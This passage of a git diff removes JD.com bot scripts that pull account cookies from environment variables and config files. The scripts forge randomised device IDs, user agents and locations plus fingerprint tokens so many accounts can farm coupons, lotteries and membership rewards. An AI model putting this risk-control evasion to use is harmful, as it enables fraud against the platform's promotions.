$.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -function taskUrl(function_id, body = {}) { - return { - url: `${JD_API_HOST}&functionId=${function_id}&clientVersion=8.0.0&client=m&body=${escape(JSON.stringify(body))}&t=${Date.now()}`, - headers: { - 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Host': 'api.m.jd.com', - 'Cookie': cookie, - 'Referer': 'https://jdsupermarket.jd.com/game', - 'Origin': 'https://jdsupermarket.jd.com', - } - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_btdraw.py b/jd_btdraw.py deleted file mode 100644 index 7d71fab06..000000000 --- a/jd_btdraw.py +++ /dev/null @@ -1,180 +0,0 @@ -# -*- coding:utf-8 -*- -#pip install PyExecJS - - -""" -cron: 23 10 * * * -new Env('京东金融天天试手气'); -""" - - -import requests -import json -import time -import os -import re -import sys -import random -import string -import urllib - -try: - import execjs -except: - print('缺少依赖文件PyExecJS,请先去Python3安装PyExecJS后再执行') - sys.exit(0) - -def printf(text): - print(text) - sys.stdout.flush() - -def load_send(): - global send - cur_path = os.path.abspath(os.path.dirname(__file__)) - sys.path.append(cur_path) - if os.path.exists(cur_path + "/sendNotify.py"): - try: - from sendNotify import send - except: - send=False - printf("加载通知服务失败~") - else: - send=False - printf("加载通知服务失败~") -load_send() - -def get_remarkinfo(): - url='http://127.0.0.1:5600/api/envs' - try: - with open('/ql/config/auth.json', 'r') as f: - token=json.loads(f.read())['token'] - headers={ - 'Accept':'application/json', - 'authorization':'Bearer '+token, - } - response=requests.get(url=url,headers=headers) - - for i in range(len(json.loads(response.text)['data'])): - if json.loads(response.text)['data'][i]['name']=='JD_COOKIE': - try: - if json.loads(response.text)['data'][i]['remarks'].find('@@')==-1: - remarkinfos[json.loads(response.text)['data'][i]['value'].split(';')[1].replace('pt_pin=','')]=json.loads(response.text)['data'][i]['remarks'].replace('remark=','') - else: - remarkinfos[json.loads(response.text)['data'][i]['value'].split(';')[1].replace('pt_pin=','')]=json.loads(response.text)['data'][i]['remarks'].split("@@")[0].replace('remark=','').replace(';','') - except: - pass - except: - printf('读取auth.json文件出错,跳过获取备注') - -def randomuserAgent(): - global uuid,addressid,iosVer,iosV,clientVersion,iPhone,area,ADID,lng,lat - uuid=''.join(random.sample(['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','a','b','c','z'], 40)) - addressid = ''.join(random.sample('1234567898647', 10)) - iosVer = ''.join(random.sample(["15.1.1","14.5.1", "14.4", "14.3", "14.2", "14.1", "14.0.1"], 1)) - iosV = iosVer.replace('.', '_') - clientVersion=''.join(random.sample(["10.3.0", "10.2.7", "10.2.4"], 1)) - iPhone = ''.join(random.sample(["8", "9", "10", "11", "12", "13"], 1)) - area=''.join(random.sample('0123456789', 2)) + '_' + ''.join(random.sample('0123456789', 4)) + '_' + ''.join(random.sample('0123456789', 5)) + '_' + ''.join(random.sample('0123456789', 4)) - ADID = ''.join(random.sample('0987654321ABCDEF', 8)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 12)) - lng='119.31991256596'+str(random.randint(100,999)) - lat='26.1187118976'+str(random.randint(100,999)) - UserAgent='' - if not UserAgent: - return f'jdapp;iPhone;10.0.4;{iosVer};{uuid};network/wifi;ADID/{ADID};model/iPhone{iPhone},1;addressid/{addressid};appBuild/167707;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS {iosV} like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/null;supportJDSHWK/1' - else: - return UserAgent - -def JDSignValidator(url): - with open('JDSignValidator.js', 'r', encoding='utf-8') as f: - jstext = f.read() - js = execjs.compile(jstext) - result = js.call('getBody', url) - fp=result['fp'] - a=result['a'] - d=result['d'] - return fp,a,d - - -def geteid(a,d): - url=f'https://gia.jd.com/fcf.html?a={a}' - data=f'&d={d}' - headers={ - 'Host':'gia.jd.com', - 'Content-Type':'application/x-www-form-urlencoded;charset=UTF-8', - 'Origin':'https://jrmkt.jd.com', - 'Accept-Encoding':'gzip, deflate, br', - 'Connection':'keep-alive', - 'Accept':'*/*', - 'User-Agent':UserAgent, - 'Referer':'https://jrmkt.jd.com/', - 'Content-Length':'376', - 'Accept-Language':'zh-CN,zh-Hans;q=0.9', - } - response=requests.post(url=url,headers=headers,data=data) - return response.text - -def draw(activityid,eid,fp): - global sendNotifyflag - global prizeAward - sendNotifyflag=False - prizeAward=0 - url='https://jrmkt.jd.com/activity/newPageTake/takePrize' - data=f'activityId={activityid}&eid={eid}&fp={fp}' - headers={ - 'Host':'jrmkt.jd.com', - 'Accept':'application/json, text/javascript, */*; q=0.01', - 'X-Requested-With':'XMLHttpRequest', - 'Accept-Language':'zh-CN,zh-Hans;q=0.9', - 'Accept-Encoding':'gzip, deflate, br', - 'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8', - 'Origin':'https://jrmkt.jd.com', - 'User-Agent':UserAgent, - 'Connection':'keep-alive', - 'Referer':'https://jrmkt.jd.com/ptp/wl/vouchers.html?activityId=Q029794F612c2E2O1D2a0N161v0Z2i2s9nJ&jrcontainer=h5&jrlogin=true&jrcloseweb=false', - 'Content-Length':str(len(data)), - 'Cookie':ck - } - response=requests.post(url=url,headers=headers,data=data) - try: - if json.loads(response.text)['prizeModels'][0]['prizeAward'].find('元')!=-1: - printf('获得'+json.loads(response.text)['prizeModels'][0]['useLimit']+'的'+json.loads(response.text)['prizeModels'][0]['prizeName']+'\n金额:'+json.loads(response.text)['prizeModels'][0]['prizeAward']+'\n有效期:'+json.loads(response.text)['prizeModels'][0]['validTime']+'\n\n') - if int((json.loads(response.text)['prizeModels'][0]['prizeAward']).replace('.00元',''))>=5: - prizeAward=json.loads(response.text)['prizeModels'][0]['prizeAward'] - sendNotifyflag=True - if json.loads(response.text)['prizeModels'][0]['prizeAward'].find('期')!=-1: - printf(response.text) - send('抽到白条分期券','去看日志') - except: - printf('出错啦,出错原因为:'+json.loads(response.text)['failDesc']+'\n\n') - - time.sleep(5) - -if __name__ == '__main__': - printf('游戏入口:京东金融-白条-天天试手气\n') - remarkinfos={} - get_remarkinfo() - try: - cks = os.environ["JD_COOKIE"].split("&") - except: - f = open("/jd/config/config.sh", "r", encoding='utf-8') - cks = re.findall(r'Cookie[0-9]*="(pt_key=.*?;pt_pin=.*?;)"', f.read()) - f.close() - for ck in cks: - ptpin = re.findall(r"pt_pin=(.*?);", ck)[0] - try: - if remarkinfos[ptpin]!='': - printf("--账号:" + remarkinfos[ptpin] + "--") - username=remarkinfos[ptpin] - else: - printf("--无备注账号:" + urllib.parse.unquote(ptpin) + "--") - username=urllib.parse.unquote(ptpin) - except: - printf("--账号:" + urllib.parse.unquote(ptpin) + "--") - username=urllib.parse.unquote(ptpin) - UserAgent=randomuserAgent() - info=JDSignValidator('https://prodev.m.jd.com/mall/active/498THTs5KGNqK5nEaingGsKEi6Ao/index.html') - eid=json.loads(geteid(info[1],info[2]).split('_*')[1])['eid'] - fp=info[0] - draw('Q72966994128142102X259KS',eid,fp) - if sendNotifyflag: - send('京东白条抽奖通知',username+'抽到'+str(prizeAward)+'的优惠券了,速去京东金融-白条-天天试手气查看') \ No newline at end of file diff --git a/jd_btfree.py b/jd_btfree.py deleted file mode 100644 index f004aa280..000000000 --- a/jd_btfree.py +++ /dev/null @@ -1,266 +0,0 @@ -# -*- coding:utf-8 -*- -#依赖管理-Python3-添加依赖PyExecJS -#想拿券的cookie环境变量JDJR_COOKIE,格式就是普通的cookie格式(pt_key=xxx;pt_pin=xxx) -#活动每天早上10点开始截止到这个月28号,建议corn 5 0 10 * * * -import execjs -import requests -import json -import time -import os -import re -import sys -import random -import string -import urllib -from urllib.parse import quote - - -#以下部分参考Curtin的脚本:https://github.com/curtinlv/JD-Script - - -def randomuserAgent(): - global uuid,addressid,iosVer,iosV,clientVersion,iPhone,ADID,area,lng,lat - - uuid=''.join(random.sample(['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','a','b','c','z'], 40)) - addressid = ''.join(random.sample('1234567898647', 10)) - iosVer = ''.join(random.sample(["15.1.1","14.5.1", "14.4", "14.3", "14.2", "14.1", "14.0.1"], 1)) - iosV = iosVer.replace('.', '_') - clientVersion=''.join(random.sample(["10.3.0", "10.2.7", "10.2.4"], 1)) - iPhone = ''.join(random.sample(["8", "9", "10", "11", "12", "13"], 1)) - ADID = ''.join(random.sample('0987654321ABCDEF', 8)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 12)) - - - area=''.join(random.sample('0123456789', 2)) + '_' + ''.join(random.sample('0123456789', 4)) + '_' + ''.join(random.sample('0123456789', 5)) + '_' + ''.join(random.sample('0123456789', 4)) - lng='119.31991256596'+str(random.randint(100,999)) - lat='26.1187118976'+str(random.randint(100,999)) - - - UserAgent='' - if not UserAgent: - return f'jdapp;iPhone;10.0.4;{iosVer};{uuid};network/wifi;ADID/{ADID};model/iPhone{iPhone},1;addressid/{addressid};appBuild/167707;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS {iosV} like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/null;supportJDSHWK/1' - else: - return UserAgent - -#以上部分参考Curtin的脚本:https://github.com/curtinlv/JD-Script - - -def printf(text): - print(text+'\n') - sys.stdout.flush() - - -def load_send(): - global send - cur_path = os.path.abspath(os.path.dirname(__file__)) - sys.path.append(cur_path) - if os.path.exists(cur_path + "/sendNotify.py"): - try: - from sendNotify import send - except: - send=False - printf("加载通知服务失败~") - else: - send=False - printf("加载通知服务失败~") -load_send() - - - -def get_remarkinfo(): - url='http://127.0.0.1:5600/api/envs' - try: - with open('/ql/config/auth.json', 'r') as f: - token=json.loads(f.read())['token'] - headers={ - 'Accept':'application/json', - 'authorization':'Bearer '+token, - } - response=requests.get(url=url,headers=headers) - - for i in range(len(json.loads(response.text)['data'])): - if json.loads(response.text)['data'][i]['name']=='JD_COOKIE': - try: - if json.loads(response.text)['data'][i]['remarks'].find('@@')==-1: - remarkinfos[json.loads(response.text)['data'][i]['value'].split(';')[1].replace('pt_pin=','')]=json.loads(response.text)['data'][i]['remarks'].replace('remark=','') - else: - remarkinfos[json.loads(response.text)['data'][i]['value'].split(';')[1].replace('pt_pin=','')]=json.loads(response.text)['data'][i]['remarks'].split("@@")[0].replace('remark=','').replace(';','') - except: - pass - except: - printf('读取auth.json文件出错,跳过获取备注') - - -def JDSignValidator(url): - with open('JDSignValidator.js', 'r', encoding='utf-8') as f: - jstext = f.read() - ctx = execjs.compile(jstext) - result = ctx.call('getBody', url) - fp=result['fp'] - a=result['a'] - d=result['d'] - return fp,a,d - - -def geteid(a,d): - url=f'https://gia.jd.com/fcf.html?a={a}' - data=f'&d={d}' - headers={ - 'Host':'gia.jd.com', - 'Content-Type':'application/x-www-form-urlencoded;charset=UTF-8', - 'Origin':'https://jrmkt.jd.com', - 'Accept-Encoding':'gzip, deflate, br', - 'Connection':'keep-alive', - 'Accept':'*/*', - 'User-Agent':UserAgent, - 'Referer':'https://jrmkt.jd.com/', - 'Content-Length':'376', - 'Accept-Language':'zh-CN,zh-Hans;q=0.9', - } - response=requests.post(url=url,headers=headers,data=data) - return response.text - - - -def gettoken(): - url='https://gia.jd.com/m.html' - headers={'User-Agent':UserAgent} - response=requests.get(url=url,headers=headers) - return response.text.split(';')[0].replace('var jd_risk_token_id = \'','').replace('\'','') - - -def getsharetasklist(ck,eid,fp,token): - url='https://ms.jr.jd.com/gw/generic/bt/h5/m/getShareTaskList' - data='reqData='+quote('{"extMap":{"eid":"%s","fp":"%s","sdkToken":"","token":"%s","appType":"1","pageUrl":"https://btfront.jd.com/release/shareCouponRedemption/helpList/?channelId=17&channelName=pdy&jrcontainer=h5&jrlogin=true&jrcloseweb=false"},"channelId":"17","bizGroup":18}'%(eid,fp,token)) - headers={ - 'Host':'ms.jr.jd.com', - 'Content-Type':'application/x-www-form-urlencoded', - 'Origin':'https://btfront.jd.com', - 'Accept-Encoding':'gzip, deflate, br', - 'Cookie':ck, - 'Connection':'keep-alive', - 'Accept':'application/json, text/plain, */*', - 'User-Agent':UserAgent, - 'Referer':'https://btfront.jd.com/', - 'Content-Length':str(len(data)), - 'Accept-Language':'zh-CN,zh-Hans;q=0.9' - } - try: - response=requests.post(url=url,headers=headers,data=data) - for i in range(len(json.loads(response.text)['resultData']['data'])): - if json.loads(response.text)['resultData']['data'][i]['couponBigWord']=='12' and json.loads(response.text)['resultData']['data'][i]['couponSmallWord']=='期': - printf('12期免息券活动id:'+str(json.loads(response.text)['resultData']['data'][i]['activityId'])) - return json.loads(response.text)['resultData']['data'][i]['activityId'] - break - except: - printf('获取任务信息出错,程序即将退出!') - os._exit(0) - - - -def obtainsharetask(ck,eid,fp,token,activityid): - url='https://ms.jr.jd.com/gw/generic/bt/h5/m/obtainShareTask' - data='reqData='+quote('{"extMap":{"eid":"%s","fp":"%s","sdkToken":"","token":"%s","appType":"1","pageUrl":"https://btfront.jd.com/release/shareCouponRedemption/helpList/?channelId=17&channelName=pdy&jrcontainer=h5&jrlogin=true&jrcloseweb=false"},"activityId":%s}'%(eid,fp,token,activityid)) - headers={ - 'Host':'ms.jr.jd.com', - 'Content-Type':'application/x-www-form-urlencoded', - 'Origin':'https://btfront.jd.com', - 'Accept-Encoding':'gzip, deflate, br', - 'Cookie':ck, - 'Connection':'keep-alive', - 'Accept':'application/json, text/plain, */*', - 'User-Agent':UserAgent, - 'Referer':'https://btfront.jd.com/', - 'Content-Length':str(len(data)), - 'Accept-Language':'zh-CN,zh-Hans;q=0.9' - } - try: - response=requests.post(url=url,headers=headers,data=data) - printf('obtainActivityId:'+json.loads(response.text)['resultData']['data']['obtainActivityId']) - printf('inviteCode:'+json.loads(response.text)['resultData']['data']['inviteCode']) - return json.loads(response.text)['resultData']['data']['obtainActivityId']+'@'+json.loads(response.text)['resultData']['data']['inviteCode'] - except: - printf('开启任务出错,程序即将退出!') - os._exit(0) - - -def assist(ck,eid,fp,token,obtainActivityid,invitecode): - url='https://ms.jr.jd.com/gw/generic/bt/h5/m/helpFriend' - data='reqData='+quote('{"extMap":{"eid":"%s","fp":"%s","sdkToken":"","token":"%s","appType":"10","pageUrl":"https://btfront.jd.com/release/shareCouponRedemption/sharePage/?obtainActivityId=%s&channelId=17&channelName=pdy&jrcontainer=h5&jrcloseweb=false&jrlogin=true&inviteCode=%s"},"obtainActivityId":"%s","inviteCode":"%s"}'%(eid,fp,token,obtainActivityid,invitecode,obtainActivityid,invitecode)) - headers={ - 'Host':'ms.jr.jd.com', - 'Content-Type':'application/x-www-form-urlencoded', - 'Origin':'https://btfront.jd.com', - 'Accept-Encoding':'gzip, deflate, br', - 'Cookie':ck, - 'Connection':'keep-alive', - 'Accept':'application/json, text/plain, */*', - 'User-Agent':UserAgent, - 'Referer':'https://btfront.jd.com/', - 'Content-Length':str(len(data)), - 'Accept-Language':'zh-CN,zh-Hans;q=0.9' - } - try: - response=requests.post(url=url,headers=headers,data=data) - if response.text.find('本次助力活动已完成')!=-1: - send('京东白条12期免息优惠券助力完成','去京东金融-白条-我的-我的优惠券看看吧') - printf('助力完成,程序即将退出!') - os._exit(0) - else: - if json.loads(response.text)['resultData']['result']['code']=='0000': - printf('助力成功') - elif json.loads(response.text)['resultData']['result']['code']=='M1003': - printf('该用户未开启白条,助力失败!') - elif json.loads(response.text)['resultData']['result']['code']=='U0002': - printf('该用户白条账户异常,助力失败!') - elif json.loads(response.text)['resultData']['result']['code']=='E0004': - printf('该活动仅限受邀用户参与,助力失败!') - else: - print(response.text) - except: - try: - print(response.text) - except: - printf('助力出错,可能是cookie过期了') - - - -if __name__ == '__main__': - remarkinfos={} - get_remarkinfo() - - - jdjrcookie=os.environ["JDJR_COOKIE"] - - UserAgent=randomuserAgent() - info=JDSignValidator('https://jrmfp.jr.jd.com/') - eid=json.loads(geteid(info[1],info[2]).split('_*')[1])['eid'] - fp=info[0] - token=gettoken() - activityid=getsharetasklist(jdjrcookie,eid,fp,token) - inviteinfo=obtainsharetask(jdjrcookie,eid,fp,token,activityid) - - - try: - cks = os.environ["JD_COOKIE"].split("&") - except: - f = open("/jd/config/config.sh", "r", encoding='utf-8') - cks = re.findall(r'Cookie[0-9]*="(pt_key=.*?;pt_pin=.*?;)"', f.read()) - f.close() - for ck in cks: - ptpin = re.findall(r"pt_pin=(.*?);", ck)[0] - try: - if remarkinfos[ptpin]!='': - printf("--账号:" + remarkinfos[ptpin] + "--") - username=remarkinfos[ptpin] - else: - printf("--无备注账号:" + urllib.parse.unquote(ptpin) + "--") - username=urllib.parse.unquote(ptpin) - except: - printf("--账号:" + urllib.parse.unquote(ptpin) + "--") - username=urllib.parse.unquote(ptpin) - UserAgent=randomuserAgent() - info=JDSignValidator('https://jrmfp.jr.jd.com/') - eid=json.loads(geteid(info[1],info[2]).split('_*')[1])['eid'] - fp=info[0] - token=gettoken() - assist(ck,eid,fp,token,inviteinfo.split('@')[0],inviteinfo.split('@')[1]) \ No newline at end of file diff --git a/jd_card.js b/jd_card.js deleted file mode 100644 index ca095c498..000000000 --- a/jd_card.js +++ /dev/null @@ -1,151 +0,0 @@ -/* -单店铺开卡 -变量 SHOP_VENDER_ID -7 7 7 7 7 jd_card.js -*/ -const $ = new Env("店铺开卡"); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -let cookiesArr = [], cookie = '', message = ''; -let venderId = process.env.SHOP_VENDER_ID ?? ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; -} else { - let cookiesData = $.getdata('CookiesJD') || "[]"; - cookiesData = JSON.parse(cookiesData); - cookiesArr = cookiesData.map(item => item.cookie); - cookiesArr.reverse(); - cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); - cookiesArr.reverse(); - cookiesArr = cookiesArr.filter(item => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - if (venderId === '') { - console.log("无开卡venderId") - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i] - originCookie = cookiesArr[i] - newCookie = '' - $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - await checkCookie(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - if ($.isNode()) { - // await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - $.bean = 0; - $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); - $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); - await openCard(); - await $.wait(1000) - if ($.bean > 0) { - message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` - } - } - } - if (message !== '') { - if ($.isNode()) { - await notify.sendNotify($.name, message, '', `\n`); - } else { - $.msg($.name, '有点儿收获', message); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - - -async function openCard() { - $.token = null; - $.secretPin = null; - $.openCardActivityId = null; - $.res = null; - await getShopOpenCardInfo({ "venderId": `${venderId}`, "channel": "401" }) - if ($.openCardActivityId) { - await bindWithVender({ "venderId": `${venderId}`, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, 